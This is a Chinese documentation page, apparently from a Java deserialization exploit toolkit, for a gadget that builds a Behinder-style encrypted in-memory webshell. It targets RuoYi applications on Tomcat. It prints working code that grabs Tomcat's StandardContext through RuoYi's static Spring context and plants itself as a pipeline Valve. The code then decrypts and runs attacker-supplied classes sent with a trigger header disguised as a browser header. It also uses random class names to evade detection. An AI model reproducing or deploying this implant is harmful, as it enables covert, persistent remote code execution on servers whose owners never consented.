- 类别:bytecode 别名:— 优先级:—
- 作者:Unam4
- 依赖:无(运行时反射 RuoYi/Tomcat 内部类,攻击方不引入依赖)
生成一段针对 RuoYi(若依)框架的 Tomcat Valve 内存马字节码:加载后通过 RuoYi 的 SpringUtils.applicationContext 拿到 Tomcat 的 StandardContext,把自身作为 Valve 挂进请求处理管道;此后每个请求经过时,命中约定请求头即用 AES 解密请求体、defineClass 动态加载并执行——等价于一个 Behinder(冰蝎)风格的加密内存 webshell。作者说明其可绕过"SpEL 打内存马时超 1W 字符、以及定时任务跨线程拿不到 context"的限制。属于链尾字节码 sink(END)。
- 入口
tags:Bytecode、ENDBytecode:产出原始类字节码,需上游BytecodeConvert装入TemplatesImpl触发defineClass。END:链的终点,其后不再衔接其它 gadget。
- 衔接
nextTags:空。 excludes:空。
gadget 本体除烘焙参数外,额外做了两件事——把口令 MD5 截断为 16 字节 AES key、并给类随机命名:
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(RuoyiShellBytecode.class);
javassistHelper.modifyStringField("pass", RuoYiShell.md5(this.pass).substring(0, 16)); // MD5 前16位作 AES key
javassistHelper.modifyStringField("headerName", this.headerName);
javassistHelper.modifyStringField("headerValue", this.headerValue);
javassistHelper.setClassName(FileHelper.getRandomClassName()); // 随机类名,避重复注入/检测
return javassistHelper.getBytecode();
}md5() 是标准 MD5 十六进制小写实现,substring(0,16) 取前 16 字符正好凑成 AES-128 的 16 字节密钥;setClassName(随机名) 避免同名类冲突和特征匹配。
模板类 RuoyiShellBytecode 本身实现 Tomcat 的 org.apache.catalina.Valve,静态块触发注入:
// RuoyiShellBytecode.java (implements Valve)
static { try { new RuoyiShellBytecode(); } catch (Exception e) { throw new RuntimeException(e); } }
public RuoyiShellBytecode() throws Exception { this.inject(); }
private void inject() throws Exception {
Field f = Thread.currentThread().getContextClassLoader()
.loadClass("com.ruoyi.common.utils.spring.SpringUtils")
.getDeclaredField("applicationContext"); // 借 RuoYi 静态持有的 context
f.setAccessible(true);
WebApplicationContext context = (WebApplicationContext) f.get(null);
ApplicationContextFacade o = (ApplicationContextFacade) context.getServletContext();
StandardContext o2 = (StandardContext) getFieldValue(getFieldValue(o, "context"), "context");
for (Valve valve : o2.getPipeline().getValves()) { // 去重:已注入则跳过
if (!(valve instanceof RuoyiShellBytecode)) continue;
return;
}
o2.getPipeline().addValve((Valve) this); // 挂入管道
}inject() 巧妙之处:不依赖当前请求线程,而是从 RuoYi 的 com.ruoyi.common.utils.spring.SpringUtils.applicationContext 这个静态字段拿到 Spring 上下文 → ServletContext → 反射两层 context 取到 Tomcat StandardContext → getPipeline().addValve(this)。这解决了"SpEL/定时任务场景拿不到 request/context"的痛点。
命令处理在 invoke(Request, Response):
public void invoke(Request request, Response response) {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
HashMap<String,Object> obj = new HashMap<>(3);
obj.put("request", request);
obj.put("response", this.unwrap(response));
obj.put("session", session);
session.setAttribute("u", (Object) pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); // AES 解密(DECRYPT_MODE)
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = this.reflectionDefineClass(bytes).newInstance(); // 动态定义并实例化
instance.equals(obj); // 触发 payload 的 equals(Map)
return;
}
} catch (Throwable e) { e.printStackTrace(); }
this.getNext().invoke(request, response); // 未命中则放行到下一个 Valve
}触发条件是双重的:请求头 headerName 存在且其值 contains(headerValue)(默认 sec-ch-ua-platform: macos/linux,伪装成正常浏览器头以规避流量检测)。命中后:读一行请求体 → Base64 解码 → 用 pass(MD5 前16位)AES 解密得到类字节码 → reflectionDefineClass(借 URLClassLoader 反射调 ClassLoader.defineClass)加载 → newInstance().equals(obj),把 request/response/session 以 Map 传给 payload 的 equals 方法执行——这正是冰蝎服务端的经典交互约定。未命中则 getNext().invoke 透明放行,不影响正常业务。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
headerName |
headerName | 触发内存马的请求头名 | sec-ch-ua-platform |
任意 |
headerValue |
headerValue | 触发所需的请求头值(子串匹配) | macos/linux |
任意 |
pass |
pass | 客户端连接口令,取其 MD5 前 16 位作 AES-128 key | rebeyond |
任意 |
- 强依赖 RuoYi(若依)框架:注入路径写死了
com.ruoyi.common.utils.spring.SpringUtils.applicationContext;底层容器需为 Tomcat(StandardContext+Valve管道)。 - 交互协议为冰蝎(Behinder)风格:AES-128 加密、Base64 请求体、
equals(Map)执行约定;pass需与冰蝎客户端配置一致(客户端口令的 MD5 前 16 位)。 - 请求头默认伪装成浏览器
sec-ch-ua-platform,规避基于特征头的检测。 - 需上游
TemplatesImpl系装载器触发字节码,要求目标 JDK 允许TemplatesImpl定义类。 - 相比 SpEL 打马:无 1W 字符长度限制;相比定时任务打马:不受跨线程拿不到 context 影响(直接取 RuoYi 静态 context)。
自由构件,未直接出现在预设链(usedInChains 为空)。作为内存马 sink,可替换 命令执行 类链中的 Exec,与 BytecodeConvert 组合,专用于 RuoYi + Tomcat 目标。
- 上游(消费本
Bytecode产物):BytecodeConvert、TemplatesImpl。 - 同族内存马 / 反弹 sink:ReverseShell、
MemShellPartyGadget、SpringLoaderFromParam。 - 同族回显 sink:OneForAllEcho(Tomcat 等回显)、ResinEcho。
- 同族命令 sink:Exec。